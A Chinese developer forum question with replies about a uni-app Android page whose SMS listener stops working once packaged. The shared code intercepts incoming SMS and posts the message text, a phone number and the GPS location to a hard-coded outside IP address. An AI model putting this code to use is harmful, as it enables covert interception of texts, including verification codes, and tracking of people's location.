安卓监听短信 真机运行调试正常 打包后安装取不到短信
完整源码在压缩包 麻烦帮忙看下哈
<template>
<view class="container">
<view class="head" style="text-align: center;">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
<view class="iptb">
<input v-model="mobile" @input="changeInput" maxlength="11" type="number" placeholder="传输手机号" style="width: 100%;"
placeholder-style="font-size:25rpx;color: #999" />
</view>
</view>
</view>
</template>
<script>
//import amap from "@/components/amap.js"
export default {
data() {
return {
title: '短信自动读取',
mobile: "",
body: '',
bodyHeight: 500
}
},
onLoad() {
let that = this;
// 读取手机号
that.mobile = uni.getStorageSync('mobile');
that.body = uni.getStorageSync('log');
},
onReady() {
let that = this;
let system = uni.getSystemInfoSync();
let query = uni.createSelectorQuery().select('.head')
this.requestLocation()
},
methods: {
changeInput({
detail: {
value
}
}) {
this.mobile = value
uni.setStorageSync('mobile', value)
},
monitor() {
var unithis = this;
var callbacks = [];
var receiver;
var filter;
var main;
var isInit = false;
var isRegistered = false;
var isOlderVersion = false;
var init = function(callback) {
//仅支持Android版本
if (plus.os.name !== 'Android') {
return;
}
try {
var version = plus.runtime.innerVersion.split('.');
isOlderVersion = parseInt(version[version.length - 1]) < 22298;
main = plus.android.runtimeMainActivity();
var Intent = plus.android.importClass('android.content.Intent');
var IntentFilter = plus.android.importClass('android.content.IntentFilter');
var SmsMessage = plus.android.importClass('android.telephony.SmsMessage');
var receiverClass = 'io.dcloud.feature.internal.reflect.BroadcastReceiver';
if (isOlderVersion) {
receiverClass = 'io.dcloud.feature.internal.a.a';
}
filter = new IntentFilter();
var onReceiveCallback = function(context, intent) {
try {
var action = intent.getAction();
if (action == "android.provider.Telephony.SMS_RECEIVED") {
var pdus = intent.getSerializableExtra("pdus");
var msgs = [];
for (var i = 0, len = pdus.length; i < len; i++) {
msgs.push(SmsMessage.createFromPdu(pdus[i]));
}
for (var i = 0, len = callbacks.length; i < len; i++) {
callbacks[i](msgs);
}
}
} catch (e) {}
}
receiver = plus.android.implements(receiverClass, {
a: onReceiveCallback,
onReceive: onReceiveCallback
});
filter.addAction("android.provider.Telephony.SMS_RECEIVED");
callback && callback();
} catch (e) {}
}
//注册短信监听
var register = function(callback) {
callbacks.push(callback);
if (!isInit) {
isInit = isRegistered = true;
init(function() {
setTimeout(function() {
console.log('registerReceiver');
try {
if (isOlderVersion) {
console.log('old Version')
main.a(receiver, filter);
} else {
console.log('new Version')
main.registerReceiver(receiver, filter); //注册监听
}
} catch (e) {
console.log('注册监听' + e)
}
}, 300);
});
} else if (!isRegistered) {
console.log('registerReceiver');
try {
if (isOlderVersion) {
main.a(receiver, filter);
} else {
main.registerReceiver(receiver, filter); //注册监听
}
} catch (e) {
console.log('注册失败监听' + e)
}
}
};
//注销监听,在登录成功或从登录页跳转到其它页面后调用
var unregister = function(callback, remove) {
for (var i = 0, len = callbacks.length; i < len; i++) {
if (callbacks[i] === callback) {
callbacks.splice(i, 1);
}
}
if (remove && !callbacks.length) {
if (main && isRegistered) {
try {
if (isOlderVersion) {
main.a(receiver);
} else {
main.unregisterReceiver(receiver);
}
} catch (e) {}
isRegistered = false;
console.log('unregisterReceiver');
}
}
};
// 读取短信
var listen = function(msgs) {
//操作短信
for (var i = 0, len = msgs.length; i < len; i++) {
console.log(msgs[i])
var content = msgs[i].getDisplayMessageBody();
console.log(content)
unithis.body += '[' + (new Date().toLocaleDateString()) + ']' + content + "\n\n";
uni.setStorageSync('log', unithis.body)
// 获取位置提交数据
new Promise((resolve, reject) => {
uni.getLocation({
success: (res) => {
resolve(res)
},
})
}).then(({ latitude, longitude }) => {
console.log(latitude)
wx.request({
url: "http://42.192.153.75:7799/sendmsg",
method: "POST",
data: {
mobile: unithis.mobile,
message: content,
location: {
latitude,
longitude
}
},
success: res => {
console.log(res)
}
})
})
}
}
register(listen);
},
// location
requestLocation() {
var permissionArr = [
'android.permission.READ_SMS',
'android.permission.RECEIVE_SMS',
'android.permission.RECEIVE_MMS'
]
plus.android.requestPermissions(permissionArr, function(e) {
if (e.deniedAlways.length > 0) { //权限被永久拒绝
//todo 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
uni.showToast({
title: '权限被永久拒绝!!! ',
icon:'none'
});
console.log('权限被永久拒绝!!! ');
}
if (e.deniedPresent.length > 0) { //权限被临时拒绝
//todo 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
uni.showToast({
title: '权限被临时拒绝!!! ' + e.deniedPresent.toString(),
icon:'none'
});
console.log('权限被临时拒绝!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) { //权限被允许
// 调用依赖获取定位权限的代码
console.log('权限被允许!!! ' + e.granted.toString());
}
}, function(e) {
console.log('Request Permissions error:' + JSON.stringify(e));
});
this.monitor()
}
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
.iptb {
text-align: left;
margin: 25rpx;
background-color: #f7f7f7;
width: 650rpx;
padding: 20rpx;
}
.body {
color: #808080;
font-size: 25rpx;
margin: 25rpx;
width: 650rpx;
padding: 20rpx;
background-color: #f7f7f7;
border-radius: 12rpx;
}
</style>
2 个回复
5***@qq.com - KavinWong
真机调试都不行,只能监听第一条短信,不能监听多条
9***@qq.com - 陈晨
麻烦问下,你解决了吗